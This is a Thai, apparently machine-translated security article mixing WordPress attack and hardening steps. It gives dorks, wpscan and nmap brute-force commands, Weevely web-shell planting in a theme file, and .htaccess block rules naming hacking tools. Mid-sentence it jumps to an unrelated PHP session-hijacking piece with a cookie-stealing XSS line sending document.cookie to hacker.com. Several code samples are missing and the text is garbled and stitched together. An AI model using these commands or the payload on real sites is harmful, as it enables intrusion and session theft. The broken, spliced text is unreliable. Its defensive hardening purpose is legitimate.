คอมพิวเตอร์ หน้าต่าง อินเทอร์เน็ต

เราทำลายและปกป้อง WordPress ด้วยมือของเราเอง การเขียนโปรแกรมที่ปลอดภัยใน PHP การขโมยเซสชันเพื่อกำหนดส่วนประกอบที่ติดตั้ง

WordPress เป็นแพลตฟอร์มบล็อกที่เป็นมิตรต่อผู้ใช้สำหรับการเผยแพร่และจัดการบทความซึ่งมีเว็บไซต์ต่างๆ จำนวนมากตั้งอยู่ เนื่องจากความแพร่หลาย CMS นี้จึงเป็นอาหารอันโอชะสำหรับผู้โจมตีมาช้านาน น่าเสียดายที่การตั้งค่าเริ่มต้นไม่ได้ให้การป้องกันในระดับที่เพียงพอ ทำให้ไม่มีช่องโหว่เริ่มต้นมากมาย ในบทความนี้ เราจะอธิบายเส้นทางทั่วไปของการแฮ็กเว็บไซต์ WordPress "ทั่วไป" และแสดงวิธีแก้ไขช่องโหว่ที่ระบุ

การแนะนำ

WordPress เป็นระบบจัดการเนื้อหาที่ได้รับความนิยมมากที่สุดในปัจจุบัน ส่วนแบ่งของมันคือ 60.4% ของจำนวนไซต์ทั้งหมดที่ใช้เอ็นจิ้น CMS ในจำนวนนี้ ตามสถิติ 67.3% ของไซต์ใช้ซอฟต์แวร์เวอร์ชันล่าสุด ในขณะเดียวกันในช่วงสิบสองปีของการมีอยู่ของเว็บเอ็นจิ้น ช่องโหว่ 242 ชนิดถูกค้นพบในนั้น (ไม่รวมช่องโหว่ที่พบในปลั๊กอินและธีมของบุคคลที่สาม) และสถิติของส่วนเสริมของบุคคลที่สามดูน่าเศร้ายิ่งกว่า ดังนั้น บริษัท Revisium จึงวิเคราะห์เทมเพลต Russified 2350 รายการสำหรับ WordPress ซึ่งนำมาจากแหล่งต่างๆ ด้วยเหตุนี้ พวกเขาจึงพบว่ามากกว่าครึ่ง (54%) ติดไวรัสจากเว็บเชลล์ แบ็คดอร์ ลิงก์ blackhat seo (“สแปม”) และยังมีสคริปต์ที่มีช่องโหว่ร้ายแรงอีกด้วย ดังนั้นทำตัวให้สบายตอนนี้เราจะหาวิธีตรวจสอบไซต์ WordPress และกำจัดข้อบกพร่องที่พบ เราจะใช้เวอร์ชัน 4.1 (Russified)

การจัดทำดัชนีไซต์

ขั้นตอนแรกในการทดสอบมักจะรวบรวมข้อมูลเกี่ยวกับเป้าหมาย และที่นี่บ่อยครั้งที่การตั้งค่าการจัดทำดัชนีไซต์ไม่ถูกต้องช่วยให้ผู้ใช้ที่ไม่ได้รับอนุญาตสามารถดูเนื้อหาของแต่ละส่วนของไซต์และรับข้อมูลเกี่ยวกับปลั๊กอินและธีมที่ติดตั้งรวมถึงการเข้าถึงข้อมูลที่เป็นความลับหรือการสำรองฐานข้อมูล หากต้องการตรวจสอบว่าไดเรกทอรีใดที่มองเห็นได้จากภายนอก วิธีที่ง่ายที่สุดคือใช้ Google เพียงสร้างข้อความค้นหาของ Google Dorks เช่น site:example.com intitle:"index of" inurl:/wp-content/ ในคำสั่ง inurl: คุณสามารถระบุไดเร็กทอรีต่อไปนี้:

/wp-content/ /wp-content/languages/plugins /wp-content/languages/themes /wp-content/plugins/ /wp-content/themes/ /wp-content/uploads/

หากคุณสามารถดู /wp-content/plugins/ ได้ ขั้นตอนต่อไปในการรวบรวมข้อมูลเกี่ยวกับปลั๊กอินที่ติดตั้งและเวอร์ชันของปลั๊กอินจะง่ายกว่ามาก โดยปกติแล้ว คุณสามารถปิดใช้งานการจัดทำดัชนีโดยใช้ไฟล์ robots.txt เนื่องจากไม่รวมอยู่ในแพ็คเกจการติดตั้ง WordPress โดยค่าเริ่มต้น คุณต้องสร้างมันเองและวางลงในไดเร็กทอรีรากของไซต์ มีคู่มือค่อนข้างน้อยสำหรับการสร้างและทำงานกับไฟล์ robots.txt ดังนั้นฉันจะทิ้งหัวข้อนี้ไว้ให้เตรียมเอง นี่เป็นเพียงหนึ่งในตัวเลือกที่เป็นไปได้:

User-Agent: * Disallow: /cgi-bin Disallow: /wp-login.php Disallow: /wp-admin/ Disallow: /wp-includes/ Disallow: /wp-content/ Disallow: /wp-content/plugins/ ไม่อนุญาต : /wp-content/themes/ ไม่อนุญาต: /?author=* อนุญาต: /

หากไฟล์ที่จัดเก็บไว้ในโฟลเดอร์อัพโหลดมีข้อมูลที่เป็นความลับ ให้เพิ่มบรรทัดต่อไปนี้ในรายการ: Disallow: /wp-content/uploads/
ในทางกลับกัน ในไฟล์ robots.txt ไม่แนะนำให้วางลิงก์ไปยังไดเร็กทอรีที่สร้างขึ้นเพื่อเก็บข้อมูลที่ละเอียดอ่อนโดยเฉพาะ มิฉะนั้น การทำเช่นนี้จะทำให้ผู้โจมตีทำได้ง่ายขึ้น เนื่องจากที่นี่เป็นที่แรกที่ทุกคนมักจะมองหาคำว่า "น่าสนใจ"

การกำหนดเวอร์ชัน WordPress

อีกขั้นตอนที่สำคัญคือการระบุเวอร์ชันของ CMS มิฉะนั้นจะเลือกแยกที่เหมาะสมได้อย่างไร มีสามวิธีที่รวดเร็วในการพิจารณาว่าไซต์ของคุณใช้ WordPress เวอร์ชันใด:

  • ค้นหาในซอร์สโค้ดของเพจ มันถูกระบุไว้ในเมตาแท็กตัวสร้าง:

    หรือในแท็ก:

  • ค้นหาได้ในไฟล์ readme.html (รูปที่ 1) ซึ่งรวมอยู่ในแพ็คเกจการติดตั้งและอยู่ในรูทของไซต์ ไฟล์อาจมีชื่ออื่น เช่น readme-ja.html
  • ค้นหาในไฟล์ ru_RU.po (รูปที่ 2) ซึ่งรวมอยู่ในแพ็คเกจการติดตั้งและอยู่ที่ /wp-content/languages/ : "Project-Id-Version: WordPress 4.1.1\n"

  • หนึ่งในตัวเลือกการป้องกันในกรณีนี้คือการจำกัดการเข้าถึงไฟล์ readme.html และ ru_RU.po โดยใช้ .htaccess

    ระบบอัตโนมัติของกระบวนการทดสอบ

    การวิจัยด้านความปลอดภัยของ WordPress มีมานานแล้ว ดังนั้นจึงมีเครื่องมือจำนวนมากเพียงพอที่ช่วยให้คุณทำงานประจำได้โดยอัตโนมัติ

    • ตรวจสอบเวอร์ชันและธีมด้วยสคริปต์ http-wordpress-info nmap -sV --script http-wordpress-info
    • nmap -p80 --script http-wordpress-brute --script-args "userdb=users.txt,passdb=passwords.txt" example.com
    • โมดูลการตรวจจับเวอร์ชัน: auxiliary/scanner/http/wordpress_scanner ;
    • โมดูลสำหรับกำหนดชื่อผู้ใช้ auxiliary/scanner/http/wordpress_login_enum
    • ระบุปลั๊กอินที่ติดตั้ง: wpscan --url www.exmple.com --enumerate p ;
    • ระบุธีมที่ติดตั้ง: wpscan --url www.exmple.com --enumerate t ;
    • ระบุ timthumbs ที่ติดตั้ง: wpscan --url www.example.com --enumerate tt ;
    • การตรวจหาชื่อผู้ใช้: wpscan --url www.example.com --enumerate u ;
    • เดารหัสผ่านพจนานุกรมสำหรับผู้ใช้ผู้ดูแลระบบ: wpscan --url www.example.com --wordlist wordlist.txt --username admin ;
    • การเดารหัสผ่านโดยใช้ชื่อผู้ใช้/รหัสผ่านที่ผูกกับ 50 เธรด: wpscan --url www.example.com --wordlist wordlist.txt --threads 50
    การระบุส่วนประกอบที่ติดตั้ง

    ตอนนี้เรามารวบรวมข้อมูลเกี่ยวกับปลั๊กอินและธีมที่ติดตั้งไว้ ไม่ว่าจะเปิดใช้งานหรือไม่ก็ตาม ประการแรก ข้อมูลดังกล่าวสามารถดึงมาจากซอร์สโค้ดของหน้า HTML เช่น จากลิงก์ JavaScript จากความคิดเห็นและทรัพยากรต่างๆ เช่น CSS ที่โหลดลงในหน้า นี่เป็นวิธีที่ง่ายที่สุดในการรับข้อมูลเกี่ยวกับส่วนประกอบที่ติดตั้ง ตัวอย่างเช่น บรรทัดด้านล่างระบุชุดรูปแบบที่ 2111 ที่กำลังใช้อยู่:

    เนื่องจากข้อมูลเกี่ยวกับปลั๊กอินไม่ได้แสดงในซอร์สโค้ดของหน้า HTML เสมอไป ส่วนประกอบที่ติดตั้งจึงสามารถตรวจพบได้โดยใช้ยูทิลิตี้ WPScan (ดูแถบด้านข้าง) อย่าลืมว่าการแจงนับเส้นทางปลั๊กอินจะถูกบันทึกในบันทึกของเว็บเซิร์ฟเวอร์
    เมื่อได้รับข้อมูลเกี่ยวกับคอมโพเนนต์ที่ติดตั้งแล้ว คุณสามารถเริ่มค้นหาช่องโหว่ด้วยตัวคุณเองหรือค้นหาช่องโหว่ที่เปิดเผยต่อสาธารณะในทรัพยากร เช่น Rapid7 หรือช่องโหว่-db

    คำจำกัดความของชื่อผู้ใช้

    ตามค่าเริ่มต้น WordPress จะกำหนด ID เฉพาะให้กับผู้ใช้แต่ละคน ซึ่งแสดงเป็นตัวเลข: example.com/?author=1 คุณจะกำหนดชื่อผู้ใช้ของไซต์ได้โดยการเรียงลำดับตามตัวเลข บัญชีผู้ดูแลระบบซึ่งสร้างขึ้นระหว่างขั้นตอนการติดตั้ง WordPress คือหมายเลข 1 ดังนั้นขอแนะนำให้ลบออกเพื่อเป็นมาตรการป้องกัน

    กำลังดุร้าย wp-เข้าสู่ระบบ

    เมื่อทราบชื่อผู้ใช้แล้ว คุณสามารถลองเดารหัสผ่านสำหรับแผงการดูแลระบบได้ แบบฟอร์มเข้าสู่ระบบ WordPress ในหน้า wp-login.php นั้นให้ข้อมูลดีมาก (รูปที่ 3) โดยเฉพาะอย่างยิ่งสำหรับผู้โจมตี: เมื่อป้อนข้อมูลไม่ถูกต้อง คำใบ้เกี่ยวกับชื่อผู้ใช้หรือรหัสผ่านที่ไม่ถูกต้องสำหรับผู้ใช้รายใดรายหนึ่งจะปรากฏขึ้น นักพัฒนาทราบถึงคุณสมบัตินี้ แต่พวกเขาตัดสินใจละทิ้งเนื่องจากข้อความดังกล่าวสะดวกสำหรับผู้ใช้ที่อาจลืมข้อมูลเข้าสู่ระบบและ / หรือรหัสผ่าน ปัญหาในการเดารหัสผ่านสามารถแก้ไขได้โดยใช้รหัสผ่านที่รัดกุมซึ่งประกอบด้วยอักขระตั้งแต่สิบสองตัวขึ้นไป รวมทั้งตัวอักษรพิมพ์ใหญ่และพิมพ์เล็ก ตัวเลข และอักขระพิเศษ หรือ ตัวอย่างเช่น ใช้ปลั๊กอินล็อคดาวน์เข้าสู่ระบบ

    เทเชลล์

    หลังจากที่เรารีเซ็ตรหัสผ่านแล้ว ไม่มีอะไรป้องกันเราจากการอัปโหลดเชลล์ไปยังทรัพยากรบนเว็บที่ถูกบุกรุก สำหรับวัตถุประสงค์เหล่านี้ เฟรมเวิร์กของ Weevely ค่อนข้างเหมาะสม ซึ่งช่วยให้คุณสร้างเชลล์ในรูปแบบที่คลุมเครือ ซึ่งทำให้ตรวจจับได้ยาก เพื่อไม่ให้เกิดความสงสัย คุณสามารถแทรกโค้ดที่เป็นผลลัพธ์ลงในไฟล์ธีมใดก็ได้ (เช่น ใน index.php) ผ่านโปรแกรมแก้ไขธีมของคอนโซล WordPress หลังจากนั้นใช้ Weevely เดียวกัน คุณสามารถเชื่อมต่อกับเครื่องของเหยื่อและเรียกใช้คำสั่งต่างๆ:

    Python weevely.py http://test/index.php Pa$$w0rd [+] weevely 3.1.0 [+] Target:test [+] Session: _weevely/sessions/test/index_0.session [+] เรียกดูระบบไฟล์ หรือดำเนินการคำสั่งเริ่มต้นการเชื่อมต่อ [+] ไปยังเป้าหมาย ประเภท:ความช่วยเหลือสำหรับข้อมูลเพิ่มเติม ทุกสัปดาห์ > : ช่วยด้วย

    กำลังเชื่อมต่อ .htaccess

    เพื่อป้องกันการเข้าถึงข้อมูลที่ละเอียดอ่อน ควรใช้ไฟล์ .htaccess ซึ่งเป็นไฟล์การกำหนดค่าที่ใช้ใน Apache Web Server พิจารณาความเป็นไปได้ของไฟล์นี้จากมุมมองด้านความปลอดภัย ด้วยเครื่องมือนี้ คุณสามารถ: ปฏิเสธการเข้าถึงไดเร็กทอรีและไฟล์ บล็อกการแทรก SQL และสคริปต์ที่เป็นอันตรายต่างๆ ในการดำเนินการนี้ ไฟล์ .htaccess มาตรฐานสำหรับ CMS WordPress 4.1 จะต้องมีการขยายเล็กน้อย หากต้องการปิดรายการไฟล์และโฟลเดอร์ ให้เพิ่ม:

    ตัวเลือก +FollowSymLinks -ดัชนี

    RewriteCond %(QUERY_STRING) base64_encode[^(]*\([^)]*\) จะบล็อกลิงก์ที่มีการเข้ารหัส Base64 กำจัดลิงค์ที่มีแท็ก:

    เขียนซ้ำ Cond %(QUERY_STRING) (|%3E)

    สคริปต์ตัวนับที่พยายามตั้งค่าตัวแปรส่วนกลางหรือเปลี่ยนตัวแปร _REQUEST ผ่าน URL:

    RewriteCond %(QUERY_STRING) GLOBALS (=|\[|\%(0,2)) RewriteCond %(QUERY_STRING) _REQUEST (=|\[|\%(0,2))

    เพื่อต่อต้านการแทรก SQL เราบล็อกคำขอไปยัง URL ที่มีคำหลักบางคำ:

    RewriteCond %(query_string) concat.*\( RewriteCond %(query_string) union.*select.*\( RewriteCond %(query_string) union.*all.*select RewriteRule ^(.*)$ index.php

    เพื่อทำลายอายุการใช้งานของเครื่องมือแฮ็กทั่วไป เรากรองตัวแทนผู้ใช้บางรายออก:

    SetEnvIf user-agent "Indy Library" stayout=1 SetEnvIf user-agent "libwww-perl" stayout=1 SetEnvIf user-agent "Wget" stayout=1 ปฏิเสธจาก env=stayout

    การป้องกันไฟล์

    นอกจากนี้ยังเป็นการดีที่จะจำกัดการเข้าถึงไฟล์สำคัญโดยเฉพาะที่เก็บการกำหนดค่าหรือเพียงแค่สามารถให้ข้อมูลบางอย่างแก่ผู้โจมตีได้ สามารถระบุผู้สมัครได้ดังต่อไปนี้:

    • wp-config.php มีชื่อฐานข้อมูล ชื่อผู้ใช้ รหัสผ่าน และคำนำหน้าตาราง
    • .htaccess
    • readme.html และ ru_RU.po ซึ่งมีเวอร์ชัน WordPress
    • ติดตั้ง.php

    สิ่งนี้ทำได้ดังนี้:

    สั่งซื้ออนุญาตปฏิเสธปฏิเสธจากทั้งหมด

    นอกจากนี้ ไฟล์ .htaccess ที่มีบรรทัดเหล่านี้จะต้องอยู่ในไดเร็กทอรีเดียวกันกับไฟล์ที่ได้รับการป้องกัน จากนั้นเราจะปิดใช้งานการแจงนับผู้ใช้ (โปรดจำไว้ว่าก่อนหน้านี้เราได้พูดถึงความง่ายในการรับรายชื่อผู้ใช้):

    RewriteCond %(QUERY_STRING) ผู้เขียน=\d RewriteRule ^ /?

    แล้วอะไรอีก? คุณสามารถอนุญาตการเข้าสู่ระบบจากที่อยู่ IP ที่ระบุเท่านั้น ในการดำเนินการนี้ ให้สร้างไฟล์ .htaccess ในโฟลเดอร์ wp-admin โดยมีกฎต่อไปนี้:

    AuthUserFile /dev/null AuthGroupFile /dev/null AuthName "การควบคุมการเข้าถึง" AuthType คำสั่งพื้นฐานปฏิเสธ อนุญาต ปฏิเสธจากทั้งหมด อนุญาตจาก 178.178.178.178 # IP คอมพิวเตอร์ที่บ้าน อนุญาตจาก 248.248.248.248 # IP คอมพิวเตอร์ที่ทำงาน

    วิธีนี้ไม่ยืดหยุ่นมากนักและใช้ได้เฉพาะเมื่อคุณทำงานกับที่อยู่ IP คงที่ในจำนวนจำกัด มิฉะนั้น ขอแนะนำให้ตั้งรหัสผ่านสำหรับโฟลเดอร์ wp-admin ผ่านแผงการโฮสต์ (หากมีฟังก์ชันดังกล่าว)

    มาตรการเพิ่มเติม

    นอกเหนือจากที่ได้กล่าวไว้ข้างต้นแล้ว สามารถเพิ่มคำแนะนำต่อไปนี้ได้ ขั้นแรก ใช้เฉพาะ WordPress เวอร์ชันล่าสุดและส่วนประกอบต่างๆ ซึ่งจะกำจัดช่องโหว่ที่รู้จัก ประการที่สอง ลบปลั๊กอินและธีมที่ไม่ได้ใช้ซึ่งอาจถูกโจมตีได้เช่นกัน ประการที่สาม ดาวน์โหลดธีมและปลั๊กอิน WordPress จากแหล่งที่เชื่อถือได้ เช่น เว็บไซต์ผู้พัฒนาและเว็บไซต์อย่างเป็นทางการของ WordPress เช่นเดียวกับพีซีที่บ้าน คุณต้องตรวจสอบทรัพยากรบนเว็บของคุณเป็นระยะด้วยโปรแกรมป้องกันไวรัสบนเว็บ เช่น AI-Bolit หากคุณมีสิทธิ์เข้าถึงเว็บเซิร์ฟเวอร์ ให้ตั้งค่าการอนุญาตไฟล์และไดเร็กทอรี ตามกฎแล้ว WordPress จะตั้งค่าการอนุญาตที่จำเป็นทั้งหมดในขั้นตอนการติดตั้ง แต่ถ้าจำเป็น คุณสามารถตั้งค่า chmod ได้ด้วยตนเอง สำหรับไดเรกทอรี - chmod 755 สำหรับไฟล์ - chmod 644 ตรวจสอบให้แน่ใจว่าได้กำหนดสิทธิ์ 777 ให้กับวัตถุที่ต้องการเท่านั้น (บางครั้งสิ่งนี้จำเป็นสำหรับการทำงานปกติของปลั๊กอินบางตัว) หาก WordPress หยุดทำงาน ให้ทดลองสิทธิ์: ลองใช้ 755 ก่อน จากนั้นใช้ 766 และสุดท้ายเป็น 777 ตั้งค่าไฟล์ htaccess ทั้งหมดเป็น chmod 444 (อ่านอย่างเดียว) หากไซต์หยุดทำงาน ให้ลองทดสอบด้วยค่า 400, 440, 444, 600, 640, 644

    ย้ายไฟล์ wp-config.php ไฟล์นี้มีข้อมูลเกี่ยวกับการตั้งค่า MySQL คำนำหน้าตาราง คีย์ลับ และอื่นๆ ดังนั้นจึงต้องถ่ายโอนเพื่อไม่ให้ไฟล์พร้อมใช้งานจากอินเทอร์เน็ต หากไซต์ไม่ได้อยู่ในโฟลเดอร์ public_html ให้ย้ายไฟล์ wp-config.php ไปยังโฟลเดอร์ที่สูงกว่า แล้ว WordPress จะพบไซต์นั้นโดยอัตโนมัติในไดเร็กทอรีรากนี้ (ใช้ได้หากโฮสติ้งมีไซต์เดียวใน CMS นี้)

    เพื่อให้การเติมเปลือกทำได้ยากขึ้น ให้ปิดใช้งานความสามารถในการแก้ไขธีมผ่านคอนโซล WordPress เมื่อต้องการทำเช่นนี้ ให้แทรกบรรทัดต่อไปนี้ในไฟล์ wp-config.php:defined("DISALLOW_FILE_EDIT", true); .

    จุดอ่อนอีกอย่างคือไฟล์ install.php (ซึ่งอยู่ในโฟลเดอร์ wp-admin) ดังนั้นจึงเป็นการดีกว่าที่จะลบ บล็อก หรือเปลี่ยนแปลง ทำอย่างใดอย่างหนึ่งต่อไปนี้:

  • เพียงลบไฟล์นี้ - หลังจากติดตั้งแล้วไม่จำเป็นต้องใช้อีกต่อไป
  • ปฏิเสธการเข้าถึงไฟล์ด้วย .htaccess
  • เปลี่ยนชื่อไฟล์ install.php เดิม (เช่น install.php.old) และสร้างไฟล์ install.php ใหม่โดยมีเนื้อหาต่อไปนี้: เกิดข้อผิดพลาดในการสร้างการเชื่อมต่อฐานข้อมูล

    ขณะนี้เรากำลังประสบปัญหาเกี่ยวกับฐานข้อมูล โปรดกลับมาตรวจสอบอีกครั้งในไม่ช้า ขอบคุณ.

  • นอกเหนือจากการแจ้งผู้เยี่ยมชมไซต์แล้ว สคริปต์นี้ดำเนินการดังต่อไปนี้:

    • ส่งรหัสสถานะ 503 ("บริการไม่พร้อมใช้งานชั่วคราว") ไปยังไคลเอ็นต์และเครื่องมือค้นหา
    • ระบุระยะเวลาที่ไคลเอ็นต์และเครื่องมือค้นหาสามารถกลับมาที่ไซต์ได้ (พารามิเตอร์ที่กำหนดค่าได้)
    • แจ้งเตือนทางอีเมลเกี่ยวกับปัญหากับฐานข้อมูลเพื่อการดำเนินการที่เหมาะสม

    ความจริงก็คือใน WordPress เวอร์ชันก่อนหน้า (

    ข้อความ:


    เนื้อหาของตัวจัดการ addmsg.php แสดงอยู่ด้านล่าง

    โปรดทราบว่าสคริปต์จะละเว้นการเรียกใช้ฟังก์ชัน htmlspecialchars() ซึ่งจะแปลงอักขระอย่างชัดเจน< в < и >ใน > ส่งผลให้ผู้โจมตีสามารถแทรกแท็ก HTML และสคริปต์ JavaScript ใดๆ ลงในข้อความได้

    window.open("http://hacker.com/get.php?"+document.cookie, "ใหม่")

    แล้วเราจะได้อะไร? การกำกับดูแลเล็กน้อย (ดูเหมือนว่าจะพลาด htmlspecialchars () บางส่วนก่อนที่จะแสดงข้อความไปยังเบราว์เซอร์) ซึ่งช่วยให้คุณสามารถโหลดหน้าของผู้โจมตีในหน้าต่างใหม่โดยส่งค่าจากคุกกี้
    เพื่อจัดการกับช่องโหว่ประเภทนี้ วิธีที่ดีที่สุดคือจัดการกับวิธีการที่ "ยั่งยืน" โดยดำเนินการตามหลักการของ "ทุกสิ่งที่ไม่ได้รับอนุญาตเป็นสิ่งต้องห้าม" คุณไม่ควรซ่อน SID และกำหนดให้ข้อความผ่านการตรวจสอบหลายขั้นตอน - ความน่าจะเป็นของการสร้างข้อผิดพลาดในกรณีนี้จะเพิ่มขึ้นเท่านั้น ความน่าเชื่อถือในกรณีนี้คือวิธีการผูก SID กับที่อยู่ IP ของผู้ใช้ที่เป็นเจ้าของเซสชัน วิธีนี้ใช้กันอย่างแพร่หลายในฟอรั่มที่มีชื่อเสียงเช่น phpBB
    สคริปต์การให้สิทธิ์

    จากนั้นสคริปต์ที่ให้สิทธิ์การเข้าถึงทรัพยากรเฉพาะอาจมีรหัสต่อไปนี้

    เหล่านั้น. ขณะนี้เฉพาะผู้ใช้ที่มีที่อยู่ IP ตรงกับที่อยู่ IP ที่ส่งไปยังเซิร์ฟเวอร์ในระหว่างการอนุญาตเท่านั้นที่สามารถทำงานกับเซสชันนี้ได้ หากผู้โจมตีสกัดกั้นเซสชัน แสดงว่าเขามีที่อยู่ IP อื่น :) - ดังนั้นเขาจะถูกปฏิเสธการเข้าถึง

    วิธีนี้ไม่เป็นสากลและยังมีจุดอ่อน

  • หากผู้ใช้และผู้โจมตีเข้าถึงอินเทอร์เน็ตผ่านพร็อกซีเซิร์ฟเวอร์ร่วมกัน พวกเขาจะมีที่อยู่ IP เดียวกัน (ซึ่งเป็นเรื่องปกติสำหรับเครือข่ายของมหาวิทยาลัย โรงงาน และสถาบันขนาดใหญ่อื่นๆ) เช่น ทุกคนสามารถขโมย SID ของเพื่อนบ้านได้ อย่างน้อยก็ด้วยวิธีข้างต้น